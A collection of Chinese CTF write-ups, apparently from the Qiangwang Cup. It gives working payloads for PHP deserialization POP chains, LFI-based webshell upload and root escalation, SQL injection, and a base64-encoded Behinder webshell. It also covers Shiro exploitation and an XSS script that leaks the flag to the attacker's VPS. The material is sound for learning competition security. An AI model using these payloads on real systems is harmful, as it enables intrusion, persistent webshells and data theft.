下发赛题,访问链接如下:
该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。
Key1之代码审计
点击“信息1”,发现是代码审计:
完整源码如下:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
非数字
?>
核心需要 bypass 的代码如下:
第一层:要求非纯数字且大于 1024,利用 PHP 弱比较令 $num1=11111a 即可。
第二层:绕过 intval 函数(intval() 函数用于获取变量的整数值),利用科学技术法绕过长度小于 5 的限制,故令 $num2=9e9 即可。
第三层:substr(md5) 取值为某个值,编写脚本进行 MD5 碰撞,计算出num3 为 61823470,脚本如下:
import hashlib
def md5_encode(num3):
return hashlib.md5(num3.encode()).hexdigest()[0:7]
for i in range(60000000,700000000):
num3 = md5_encode(str(i))
# print(num3)
if num3 == '4bf21cd':
print(i)
break
运行结果如下:
第四层:科学计数法绕过,长度为 7 且为 0,num4 为 0e00000。
第五层:json_decode()函数接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,如果 json 无法被解码(非 json 格式时)将会返回 null ,故令 num5 等于 1a (任意字符串即可)。
故最终 Payload:
ppp[number1]=11111a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=1a
POST提交获得 Key1:
KEY1{e1e1d3d40573127e9ee0480caf1283d6}
Key2之脚本搜索
1、提示信息给了一个下载链接:
2、解压后得到一堆 docx 文件:
3、随便打开一个发现是一堆字符:
4、猜测 Key2 就在其中某一个文件中,写脚本跑:
import os
import docx
for i in range(1,20):
for j in range(1,20):
path = "./5.{0}/VR_{1}".format(i,j)
files = os.listdir(path)
# print(filePath)
for file in files:
try:
fileName = path+"/"+file
# print(fileName)
file = docx.Document(fileName)
for content in file.paragraphs:
# print(content.text)
if "KEY2{" in content.text:
print(content.text)
print(fileName)
break
except:
pass
运行结果如下:
得到 KEY2 :
KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}
在原页面上提交获取 flag:
下发赛题,访问地址如下:
结合题目源码提醒,利用 dirsearch 扫描目录,发现 www.zip:
3、解压缩获得题目源码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
看到这里猜测是 PHP 反序列化的题目,但是先前了解的相关题目都只是涉及析构函数的利用点,本题看得一脸懵圈,所以立马恶补下 CTF 中关于 PHP 反序列化的套路。
PHP的魔术方法
PHP 中魔术方法的定义是把以两个下划线__开头的方法称为魔术方法,常见的如下:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString: 当对象被当做一个字符串使用时调用。
__sleep: 序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup: 反序列化恢复对象之前调用该方法
__call: 当调用对象中不存在的方法会自动调用该方法。
__get: 从不可访问的属性中读取数据会触发
__isset(): 在不可访问的属性上调用isset()或empty()触发
__unset(): 在不可访问的属性上使用unset()时触发
__invoke(): 将对象调用为函数时触发
更多请查看PHP手册:
https://www.php.net/manual/zh/language.oop5.magic.php
简单例子
<?php
class A{
var $test = "demo";
function __wakeup(){
eval($this->test);
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且执行 test 变量的命令,那我们构造如下 EXP 执行 phpinfo() 函数:
<?php
class A{
var $test = "demo";
function __wakeup(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
$b = new A();
$b->test="phpinfo();";
$c = serialize($b);
echo $c;
?>
输出:
O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
提交输出的 Payload,执行效果如下:
POP链实例
进一步来看一道进阶题目:
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
【题目分析】对于此题可以看到我们的目的是通过构造反序列化读取 flag.php 文件,Read 类有file_get_contents()函数,Show 类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有 unserialize 函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在 Show 类中。
1、__wakeup方法:
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
存在一个正则匹配函数 preg_match(),该函数第二个参数应为字符串,这里把 source 当作字符串进行的匹配,这时若这个 source 是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在 Show 类中,那么我们一会构造 exp 时将 source 变成 Show 这个类的对象就会触发__tostring方法。
2、__tostring方法:
public function __toString(){
return $this->str['str']->source;
}
首先找到 str 这个数组,取出 key 值为 str 的 value 值赋给 source,那么如果这个 value 值不存在的话就会触发 __get 魔术方法。再次通读全篇,看到 Test 类中存在 __get 魔术方法。
3、__get方法:
public function __get($key){
$function = $this->p;
return $function();
}
发现先取 Test 类中的属性 p 给 function 变量,再通过 return $function() 把它当作函数执行,这里属性 p 可控。这样就会触发 __invoke 魔术方法,而 __invoke 魔术方法存在于Read类中。
4、__invoke方法:
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
调用了该类中的 file_get 方法,形参是 var 属性值(这里我们可以控制),实参是 value 值,从而调用file_get_contents函数读取文件内容,所以只要将 Read 类中的 var 属性值赋值为 flag.php 即可。
5、POP链构造:
unserialize 函数(变量可控) –>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–> 触发 Read 类中的file_get方法–>触发file_get_contents函数读取 flag.php。
<?php
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Read{
public $var = "flag.php";
}
$s = new Show();
$t = new Test();
$r = new Read();
$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。
var_dump(serialize($s));
?>
题目POP链构造
经过上面的实例分析,此赛题同理,照葫芦画瓢即可。
构造本题的 EXP:
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
public $phonenumber=123123;
public $promise='I do';
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$S = new Start();
$I = new Info();
$R = new Room();
$R->a = $R;
$I->file['filename'] = $R;
$S->name = $I;
echo serialize($S);
?>
输出Payload:
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:11:"phonenumber";i:123123;s:7:"promise";s:4:"I do";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
提交 Payload,获得 Flag 的 base64 编码:
坑点!需要去除前面的 “hi” 字符再进行 Base64 解码:
源码
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php--> <?php ini_set('display_errors', 'on'); if(!isset($_COOKIE['ctfer'])){ setcookie("ctfer",serialize("ctfer"),time()+3600); }else{ include "function.php"; echo "I see your Cookie<br>"; $res = unserialize($_COOKIE['ctfer']); if(preg_match('/myclass/i',serialize($res))){ throw new Exception("Error: Class 'myclass' not found "); } } highlight_file(__FILE__); echo "<br>"; highlight_file("myclass.php"); echo "<br>"; highlight_file("function.php"); <?php class Hello{ public function __destruct() { if($this->qwb) echo file_get_contents($this->qwb); } } ?> <?php function __autoload($classname){ require_once "/var/www/html/$classname.php"; } ?>
入口的 COOKIE 存在反序列化
去掉最后的大括号,利用反序列化报错来防止进入 Exception
O:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";} O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D
e2a7106f1cc8bb1e1318df70aa0a3540.php
<?php include "bff139fa05ac583f685a523ab3d110a0.php"; include "45b963397aa40d4a0063e0d85e4fe7a1.php"; $file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html"; $flag = preg_match("/tmp/i",$file); if($flag){ PNG($file); } include($file); $res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']); if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){ $somthing = GenFiles(); $res = array_merge($res,$somthing); } shuffle($res); @print_r($res); ?>
bff139fa05ac583f685a523ab3d110a0.php
<?php function PNG($file) { if(!is_file($file)){die("我从来没有见过侬");} $first = imagecreatefrompng($file); if(!$first){ die("发现了奇怪的东西2333"); } $size = min(imagesx($first), imagesy($first)); unlink($file); $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]); if ($second !== FALSE) { imagepng($second, $file); imagedestroy($second); } imagedestroy($first); } ?>
45b963397aa40d4a0063e0d85e4fe7a1.php
<?php function GenFiles(){ $files = array(); $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $len=strlen($str)-1; for($i=0;$i<10;$i++){ $filename="php"; for($j=0;$j<6;$j++){ $filename .= $str[rand(0,$len)]; } $files[] = $filename; } return $files; } ?>
/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=passwd&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp
当前应该是在 /etc 目录下(?
不过没啥用,不能直接读 /flag,或者说 flag 不在根目录
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd可以导致 php 在执行过程中 Segment Fault
本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
魔改他的脚本
import requests import string import itertools charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com" def upload_file_to_include(url, file_content): files = {'file': ('evil.jpg', file_content, 'image/jpeg')} try: response = requests.post(url, files=files) print(response) except Exception as e: print(e) def generate_tmp_files(): with open('miao.png', 'rb') as fin: file_content = fin.read() phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % ( base_url) length = 6 times = int(len(charset) ** (length / 2)) for i in range(times): print("[+] %d / %d" % (i, times)) upload_file_to_include(phpinfo_url, file_content) def main(): generate_tmp_files() if __name__ == "__main__": main()
图片是个长宽相等的 png,里面放木马。
上传过程中就会留下一些文件不会被删除。
一边跑这个脚本,另一边的一堆 /tmp/phpxxxxxx 里就存在我们的 webshell
由于会自动删除,没了就换新的
根目录果然没 flag
然后利用 shell 发现 /usr/bin 下面有个文件可以以 root 权限执行命令
find / -user root -perm -4000 -print 2>/dev/null
flag 在 /l1b 下一个绕来绕去的目录里面
或者
find / -perm 600 -user root
最后执行
/usr/bin/[email protected] /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
POST /e2a7106f1cc8bb1e1318df70aa0a3540.php?b822f88a-de15-4dc8-923b-1cbeec54bcfc=/tmp/phpi8bEt1&0=system HTTP/1.1 Host: eci-2zehg7ugvk0ahcsnkehl.cloudeci1.ichunqiu.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=1769d95cb5b54d-04781d3935eefa-c791039-1fa400-1769d95cb5c669; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1611909425; ctfer=s%3A5%3A%22ctfer%22%3B; __jsluid_h=847d751b863f86e3ed743f9efb5d5c4f Connection: close Content-Length: 110 Content-Type: application/x-www-form-urlencoded 1=/usr/bin/[email protected] /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
flag{b101e657-a46a-4791-abcb-5be544fc12bd}
SQL注入得密码
1、提示信息收集,那么先扫一波端口:
2、访问该端口是一个登陆页面:
3、简单测试发现是未过滤的 SQL 注入:
4、直接上 Sqlmap(sqlmap.py -r 123.txt --dbms MySQL -p "username" -D easyweb -T employee -C "username,password" --dump,不知为何,此题发现必须加上--dbms MySQL -p "username"参数才能正常跑 sqlmap),获得账户密码,尴尬的是一开始以为密码得解密后才能登录,后来队友说直接输入就行……
5、登陆后围绕系统标题栏 EasySSRF 的提示,一通搜索企图利用 SSRF 读取本地 flag 文件,无果……
上传木马并提权
1、尝试 SSRF 无果,无奈继续信息搜集,扫描路径,发现 file 路径可上传文件:
2、尝试上传 php 一句话木马,被拦截了,Fuzz 了一下发现是后缀+内容过滤,不能传 jpg 这些,猜测用.htaccess上传漏洞,发现也存在过滤:
3、此处过滤了 application,用 php5-script 绕过即可:
4、随后上传木马文件,传马发现 php 不能闭合,并且过滤了一些危险函数,fuzz 一下得到:
5、成功连接木马:
6、然而发现 flag 文件无法读取……权限不足,读取 hint 文件获得提示:
7、提示信息要求继续进行信息收集,接下来的操作比赛时我没搞懂,故盗用别人的解题过程……使用命令netstat –apn查看服务器所有的进程和端口使用情况,留意到 8006 端口为 JBoss 服务:
在终端使用 curl 命令请求访问 8006 端口的服务页面:
8、访问 1.qwer 木马文件,写入冰蝎马(方便利用冰蝎做内网穿透,将靶机内网服务映射到本地):
/1.qwer?1=file_put_contents('b.php',base64_decode('PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K%2Bl5a%2BG6ZKl5Li66L%2Be5o6l5a%2BG56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je%2B8jOm7mOiupOi%2FnuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8%2BCg%3D%3D'));
9、接着使用冰蝎客户端的“内网穿透”建立 HTTP 隧道,将靶机的 8006 端口映射到物理机的 2222 端口:
随后本地物理机浏览器即可访问 2222 端口,为 JBoss 默认页面:
10、最后使用 JexBoss 脚本一把梭https://github.com/SpartansHackTeam/Jexboss,获得 Shell 为 root 权限,即可查看 flag 如下:
本题最后补充两个知识点:
冰蝎 3.0 内网穿透(代理)功能详解:冰蝎v3.0操作使用手册 ;
JexBoss 脚本工具的使用:JBoss未授权访问漏洞Getshell过程复现。
The BOT starts every five seconds and handles only one reported URL at a time. The BOT is Google-Chrome 91.0.4472.77 (Official Build) (64-bit)
Notice: the address requested by the BOT is http://localhost:8888.
Each time the BOT processes a request, it clears subsequent report URLs from the database
每 15 分钟重启环境
47.104.192.54:8888
47.104.210.56:8888
47.104.155.242:8888Hint: flag格式是flag{uuid}
算是个 XS-Leaks 的题目,算是侧信道的一种吧。
通过 /hint 路由可以知道 flag 判断逻辑。
app.all("/flag", auth, async (req, res, next) => { if (req.session.isadmin && typeof req.query.var === "string") { fs.readFile("/flag", "utf8", (err, flag) => { let flagArray = flag.split(""); let dataArray = req.query.var.split(""); let check = true; for (let i = 0; i < dataArray.length && i < flagArray.length; i++) { if (dataArray[i] !== flagArray[i]) { check = false; break; } } if (check) { res.status(200).send(req.query.var); } else { res.status(500).send("Keyword Error!"); } }); } else { res.status(500).send("Sorry, you are not admin!"); } });
/flag 路由对输入的逐个字符与 flag 的这么多个(输入的)长度的字符进行比较,如果每一位都相同则返回 200,否则返回 500.
访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。
根据提示 flag 是个 UUID,于是可以按照这个格式逐位爆破,通过返回的状态来判断当前字符是否正确。
访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。
于是就在 VPS 上跑个脚本,分成功和失败两个路由,让 bot 访问自己的 /flag 路由。
如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由,否则请求 error 路由,并通过参数返回当前爆破的 flag。
exp:
from flask import Flask from flask import request import requests import urllib.parse app = Flask(__name__) @app.route("/success") def index(): global cookies global url data = request.args.get('a') if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28: data += "-0" else: data += "0" p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//''' p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p) d = { "url": p } requests.post(url, data=d, cookies=cookies) return "Hello World!" @app.route("/error") def index2(): global cookies global url data = request.args.get('a') tmp = data[:-1] if data[-1] == "9": tmp += "a" else: tmp += chr(ord(data[-1]) + 1) data = tmp p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//''' p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p) d = { "url": p } requests.post(url, data=d, cookies=cookies) return "Hello World!" cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"} url = "http://47.104.192.54:8888/report" app.run(host='0.0.0.0', port=80)
让 bot 从 0 开始访问,虽然容器固定时间重启,但是 flag 是静态的 uuid,所以就是时间问题了。
最后根据 VPS 上的访问记录就能得到 flag 了。
Shiro反序列化
1、访问解题链接发现是个登录页面,输入任意账户密码抓包发现 remenberme 响应头参数:
2、Xray 神器一扫果然有 Shiro 反序列化漏洞:
3、用 shiro_attack 工具进行漏洞利用,写冰蝎内存马,多写几次,失败没事然后打开冰蝎直接连接即可:
4、查看根目录发现 flag 权限是 www-data 无法读取:
CMS源码审计
1、拿到 shell 但是权限不足,进一步进行信息收集,执行命令 ps (用于显示当前进程的状态,类似于 windows 的任务管理器)发现有 Apache 服务:
2、读取 Apache 的 ports 配置文件得到端口:
3、使用冰蝎将端口映射出来:
4、本地物理机浏览器访问映射出来的内网服务,发现 CMS 关键字:
5、Github 下载对应 CMS 系统的源码 BaoCms,然后审计发现包含了模板,但是它在后缀硬加上了 .html:
6、最后利用 CMS 系统的文件包含漏洞读取 flag 文件:
该题需要构造反序列化利用链 最终实现RCE
由于该题目类数量巨大1W个 编写自动化脚本构造pop链
第一步将class.php.txt转化成AST(抽象语法树) 保存为json格式
<?php
ini_set(“memory_limit”,”-1”);
echo(json_encode(ast\parse_file(“class.php”, $version=70)));
构造比较简单A->B->C->…….->包含EVAL()的class function
调用这里有几个坑 1.调用途中有参数污染(附加垃圾数据) 2.调用途中传参可能被清空 (传参被赋值未定义的变量)3.调用途中传参可能被修改 (直接赋值为垃圾数据)
所以并不是找到调用链就可以完成工作 而是需要找到可以利用的调用链
自动化代码:
PS:没有什么参考价值 只对该题可用 因为固定3种函数结构所以偷懒把参数写死了 初学py语言 第一次做AST树解析用这种笨方法)
import json
import random
import os
import string
with open("12.json") as f:
line=f.readline()
result=json.loads(line)
print(len(result['children']))
def asb(name,s,s1=''):
ee = 0
for a in result['children']:
for b in a['children']['stmts']['children']:
if 'name' in b['children'].keys():
if (b['children']['name'] == 'gG1T5D'):
ee = 0
if (b['children']['name'] == name):
test(a)
if(len(b['children']['stmts']['children'])==3):
q = b['children']['stmts']['children'][1]['children'][0]['children']['cond']['children']['args']['children'][1]
w = b['children']['stmts']['children'][random.randint(1,2)]['children'][0]['children']['cond']['children']['args']['children'][1]
ran_str = ''.join(random.sample(string.ascii_letters, 8))
print('$'+ran_str+'=new '+a['children']['name']+'();')
s11='$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='
if ee!=1:
asb(w,s,s11)
if ran_str == '':
exit()
print(s1 + '$' + ran_str+';')else:
if 'method' in b['children']['stmts']['children'][1]['children'].keys():
q = b['children']['stmts']['children'][1]['children']['method']
ran_str = ''.join(random.sample(string.ascii_letters, 8))
print('$' + ran_str + '=new ' + a['children']['name'] + '();')
s11 = '$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='
if ee != 1:
asb(q, s, s11)
if ran_str == '':
exit()
print(s1 + '$' + ran_str + ';')def test(d):
try:
a=d['children']['stmts']['children'][1]['children']['params']['children'][0]['children']['name']
b=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['var']['children']['name']
c=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['expr']['children']['name']
if(a==b and b!=c and a!='DgiNa'): print(a,b,c)
print('no')
asb('YYdqkf', 'YYdqkf' + '-->')
os._exit(0)except:
pass
asb('YYdqkf','YYdqkf'+'-->')
编写脚本处理AST
随机抽取一条构造链 检验是否正常执行(传参修改检测) 反复抽取得到可用的链
<?php
此处省略3M大小的源class
$a=new WK4tcG();
$prXsQMfO=new WK4tcG();
$DLcTtAga=new xaeGnG();
$lcbgRpGI=new oAMzcx();
$IatldcbW=new p38LCI();
$nULgbaKw=new GbfW4c();
$ASyQaYMV=new m2s3zO();
$GMwztlCS=new PgSSqR();
$MegPsOnX=new RLuIRL();
$neJOwgfu=new WykBAC();
$PNHChDce=new g6hgDh();
$BzceWjKp=new HDaeRV();
$YThMXwcb=new bREm3w();
$xWVjhwmO=new D0aZh5();
$BIbCvgZD=new T9NX4U();
$prvhXPMW=new eWciOL();
$NVHbgdzD=new TqWDlm();
$mszgihWC=new XoFA87();
$vDBkPwqO=new MU1ai5();
$ZYHhsIid=new eHtdBF();
$ZYHhsIid->V7XKdgi=new DNUWgV();
$vDBkPwqO->zXEmp6T=$ZYHhsIid;
$mszgihWC->z35pfqP=$vDBkPwqO;
$NVHbgdzD->KGgGFnb=$mszgihWC;
$prvhXPMW->D6qeYVK=$NVHbgdzD;
$BIbCvgZD->UwQCEH2=$prvhXPMW;
$xWVjhwmO->ST8sCZq=$BIbCvgZD;
$YThMXwcb->pMgtiwK=$xWVjhwmO;
$BzceWjKp->OO72gIu=$YThMXwcb;
$PNHChDce->GYBlHLq=$BzceWjKp;
$neJOwgfu->yWYNYcP=$PNHChDce;
$MegPsOnX->dFy0Irz=$neJOwgfu;
$GMwztlCS->Cs99EPC=$MegPsOnX;
$ASyQaYMV->QidIkAq=$GMwztlCS;
$nULgbaKw->gE4DrP9=$ASyQaYMV;
$IatldcbW->OksedLV=$nULgbaKw;
$lcbgRpGI->SUxaKsh=$IatldcbW;
$DLcTtAga->u3832FP=$lcbgRpGI;
$a->fBuH5Og=$DLcTtAga;
$b = $_GET['argv'];
echo serialize($a);
$a->YYdqkf($b);
?>
生成序列化文本
?pop=O:6:%22WK4tcG%22:1:{s:7:%22fBuH5Og%22;O:6:%22xaeGnG%22:1:{s:7:%22u3832FP%22;O:6:%22oAMzcx%22:1:{s:7:%22SUxaKsh%22;O:6:%22p38LCI%22:1:{s:7:%22OksedLV%22;O:6:%22GbfW4c%22:1:{s:7:%22gE4DrP9%22;O:6:%22m2s3zO%22:1:{s:7:%22QidIkAq%22;O:6:%22PgSSqR%22:1:{s:7:%22Cs99EPC%22;O:6:%22RLuIRL%22:1:{s:7:%22dFy0Irz%22;O:6:%22WykBAC%22:1:{s:7:%22yWYNYcP%22;O:6:%22g6hgDh%22:1:{s:7:%22GYBlHLq%22;O:6:%22HDaeRV%22:1:{s:7:%22OO72gIu%22;O:6:%22bREm3w%22:1:{s:7:%22pMgtiwK%22;O:6:%22D0aZh5%22:1:{s:7:%22ST8sCZq%22;O:6:%22T9NX4U%22:1:{s:7:%22UwQCEH2%22;O:6:%22eWciOL%22:1:{s:7:%22D6qeYVK%22;O:6:%22TqWDlm%22:1:{s:7:%22KGgGFnb%22;O:6:%22XoFA87%22:1:{s:7:%22z35pfqP%22;O:6:%22MU1ai5%22:1:{s:7:%22zXEmp6T%22;O:6:%22eHtdBF%22:1:{s:7:%22V7XKdgi%22;O:6:%22DNUWgV%22:1:{s:7:%22bieiHE3%22;N;}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//
访问即可getflag
flag{welcome_to_qwb_s5}
Powershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?(本题flag为非正式形式)
压缩包解压密码:fantasicqwb2021
首先使用 volatility 将内存中的 register hive 导出来.
volatility -f memory.dmp --profile Win7SP1x64 hivelist
volatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D .
题目中说到可能和 powershell 恶意程序有关系,那么优先考虑 SOFTWARE 专用的字符串,使用 WRR.exe 工具检查注册表,然后全局搜索一些常见的恶意软件字段,比如 -IEX, encode decompress new-object 等等,最终能够找到恶意软件存放的注册表位置
搜到一个路径是CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication
恶意脚本是
